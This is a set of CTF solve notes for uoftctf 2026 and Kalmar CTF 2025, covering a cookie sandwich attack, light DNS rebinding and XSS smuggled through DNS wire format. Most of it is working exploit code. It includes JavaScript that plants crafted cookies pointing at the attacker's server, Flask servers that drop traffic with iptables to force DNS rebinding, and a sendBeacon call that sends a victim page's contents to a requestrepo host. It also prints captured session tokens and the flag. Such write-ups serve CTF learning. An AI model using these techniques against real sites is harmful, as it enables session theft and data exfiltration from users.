Cookie Sandwitch attack & Light DNS Rebinding attack
| Event Name | uoftctf 2026 |
| GitHub URL | - |
| Challenge Name | Unrealistic Client-Side Challenge - Flag 1 |
Attachments
References
Cookie sandwitch
<script>
const sleep = t => new Promise(r => setTimeout(r, t));
(async ()=> {
const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiaWF0IjoxNzY4MDE3MTEwLCJleHAiOjE3NjgwMjQzMTB9.VBd77rx24B8UxtfiMNVuZKfo2lB8_T5zo5zxReUYXdU";
document.cookie=`session=${token};Domain=7chn.me;Path=/flag`;
let w1 = open("<http://localhost.7chn.me:5000/flag>");
document.cookie=`motd="%3Cimg%20src='//foobar.n.7chn.me/?v=;Domain=7chn.me;Path=/motd`;
await sleep(1000);
document.cookie=`z='%3E";Domain=7chn.me;Path=/`;
w2 = open("<http://localhost.7chn.me:5000/motd>");
})();
</script>
localhost.7chn.me -> 127.0.0.1
foobar.n.7chn.me -> your server
Light DNS Rebinding
working in selenium==4.27.1
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
function postWindow(url, data, targetName) {
const form = document.createElement("form");
form.action = url;
form.method = "POST";
form.target = targetName;
form.style.display = "none";
for (const key in data) {
const input = document.createElement("input");
input.type = "hidden";
input.name = key;
input.value = data[key];
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
document.body.removeChild(form);
}
const u = "u" + Math.random().toString(36).slice(2);
const p = "p" + Math.random().toString(36).slice(2);
async function attempt() {
window.open("about:blank", "w1");
await sleep(100);
window.open("/cut", "w1");
window.open("about:blank", "w2");
await sleep(1000);
postWindow("/register", { username: u, password: p }, "w2");
window.open("about:blank", "w3");
await sleep(500);
postWindow("/login", { username: u, password: p }, "w3");
window.open("about:blank", "w4");
await sleep(500);
window.open("/flag", "w4");
// reset iptable and reset server here!
window.open("about:blank", "w5");
await sleep(3000);
window.open("/steal", "w5");
await sleep(5000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return ("cut", 200)
@app.get("/steal")
def steal():
print("Cookie header =", request.headers.get("Cookie"))
return ("steal", 200)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)
"""
- report url:
http://127.0.0.1:5000@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000
- session:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMCIsImlhdCI6MTc2ODA1ODczNCwiZXhwIjoxNzY4MDY1OTM0LCJmbGFnIjoidW9mdGN0ZntoNHYzX3kwdXI1M2xmXzRfczRuZHcxY2h9In0.SC70s-ve8X44OuHcctrDAIEKjIqEA4LrBGjqxWuY1cw
- flag
uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}
3rd solve
"""
for challenge v2
import subprocess
import threading
import time
from flask import Flask, Response, request
app = Flask(__name__)
@app.get("/")
def index():
body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
async function attempt() {
await sleep(100);
window.open("/cut", "w1");
await sleep(1000);
await sleep(500);
await sleep(500);
window.win = window.open("/motd", "w4");
// reset iptable and reset server here!
await sleep(3000);
window.open("/steal", "w5");
await sleep(5000);
}
attempt();
})();
</script>
"""
resp = Response(body, mimetype="text/html")
resp.headers["Connection"] = "close"
return resp
@app.get("/cut")
def cut():
def worker():
try:
subprocess.run(
["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5001 -j REJECT --reject-with tcp-reset"],
check=False
)
time.sleep(6)
finally:
subprocess.run(
["bash","-lc", "sudo iptables -D INPUT 1"],
check=False
)
threading.Thread(target=worker, daemon=True).start()
return """
<!DOCTYPE html>
<html>
<body>
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
(async () => {
while (true) {
await sleep(500);
console.log('checking...');
if (window.opener.window.win) {
console.log('win');
await sleep(1000);
navigator.sendBeacon('https://i07rtfvt.requestrepo.com', window.opener.window.win.document.body.innerHTML.toString())
break;
}
}
})();
</script>
</body>
</html>
"""
@app.get("/steal")
def steal():
print("Cookie header =", request.headers.get("Cookie"))
return ("steal", 200)
# http://127.0.0.1:5000@make-95.216.145.211-and-127-0-0-1-rr.1u.ms:5001
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False, use_reloader=False)DNS Wire Deserialization can lead to XSS
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | DNXSS-over-HTTPS |
Attachments
References
solve.py
# on the endpoint /dns-query?dns=<dnsmessage>
# you can send a dns wire formatted xss
# using the following script to generate it
import base64
import struct
def generate_dns_wire_format(domain, qtype=1):
"""
Generate DNS wire format for a domain name query
Args:
domain (str): The domain name to query (e.g., "www.example.com")
qtype (int): The query type (1 for A record, 28 for AAAA, etc.)
Returns:
str: Base64 encoded DNS wire format
"""
# Initialize an empty bytearray for the message
message = bytearray()
# DNS Header (12 bytes)
# ID (2 bytes) - using 0 for simplicity
message.extend(struct.pack('>H', 0))
# Flags (2 bytes) - Standard query with recursion desired (0x0100)
message.extend(struct.pack('>H', 0x0100))
# QDCOUNT (2 bytes) - One question
message.extend(struct.pack('>H', 1))
# ANCOUNT (2 bytes) - Zero answers
message.extend(struct.pack('>H', 0))
# NSCOUNT (2 bytes) - Zero name server records
message.extend(struct.pack('>H', 0))
# ARCOUNT (2 bytes) - Zero additional records
message.extend(struct.pack('>H', 0))
# Question section - QNAME (domain name in DNS label format)
labels = domain.split('.')
for label in labels:
# Add the label length (1 byte)
message.append(len(label))
# Add the label characters
message.extend(label.encode('ascii'))
# Terminating zero-length label
message.append(0)
# QTYPE (2 bytes) - Default is A record (1)
message.extend(struct.pack('>H', qtype))
# QCLASS (2 bytes) - IN (1) for Internet
message.extend(struct.pack('>H', 1))
# Base64 encode the message
return base64.b64encode(message).decode('ascii')
def decode_dns_wire_format(base64_str):
"""
Decode DNS wire format to show its components
Args:
base64_str (str): Base64 encoded DNS wire format
Returns:
dict: Components of the DNS message
"""
# Decode base64 to binary
binary_data = base64.b64decode(base64_str)
# Extract header components
header = {}
header['id'] = struct.unpack('>H', binary_data[0:2])[0]
header['flags'] = struct.unpack('>H', binary_data[2:4])[0]
header['qdcount'] = struct.unpack('>H', binary_data[4:6])[0]
header['ancount'] = struct.unpack('>H', binary_data[6:8])[0]
header['nscount'] = struct.unpack('>H', binary_data[8:10])[0]
header['arcount'] = struct.unpack('>H', binary_data[10:12])[0]
# Extract domain name from question section
offset = 12
domain_parts = []
while True:
length = binary_data[offset]
if length == 0:
break
offset += 1
domain_parts.append(binary_data[offset:offset+length].decode('ascii'))
offset += length
domain = '.'.join(domain_parts)
# Extract QTYPE and QCLASS
qtype = struct.unpack('>H', binary_data[offset+1:offset+3])[0]
qclass = struct.unpack('>H', binary_data[offset+3:offset+5])[0]
return {
'header': header,
'domain': domain,
'qtype': qtype,
'qclass': qclass
}
# Example usage
if __name__ == "__main__":
payload = base64.b64encode(b'alert(1)').decode('ascii')
domain = "<script>eval(atob('"+payload+"'))</script>.com"
# Generate wire format for A record query
wire_format = generate_dns_wire_format(domain)
print(f"DNS wire format for {domain} (A record):")
print(wire_format)
# Generate wire format for AAAA record query
aaaa_wire_format = generate_dns_wire_format(domain, 28) # 28 is AAAA record
print(f"\nDNS wire format for {domain} (AAAA record):")
print(aaaa_wire_format.replace('+', '-').replace('/','_'))
# Decode a wire format to show components
print("\nDecoding the A record wire format:")
decoded = decode_dns_wire_format(wire_format)
print(f"Domain: {decoded['domain']}")
print(f"Query type: {decoded['qtype']}")
print(f"Query class: {decoded['qclass']}")
print(f"Header flags: 0x{decoded['header']['flags']:04x}")DNS Length manipulation
https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/misc/mini-dns-server/solve/solv.py
DNS take away
It is to bring the DNS resolution record to the DNS log platform, which is often used to find when the web page has no echo [such as SQL injection blind note, Log4j vulnerability verification, SSRF web page no echo vulnerability verification]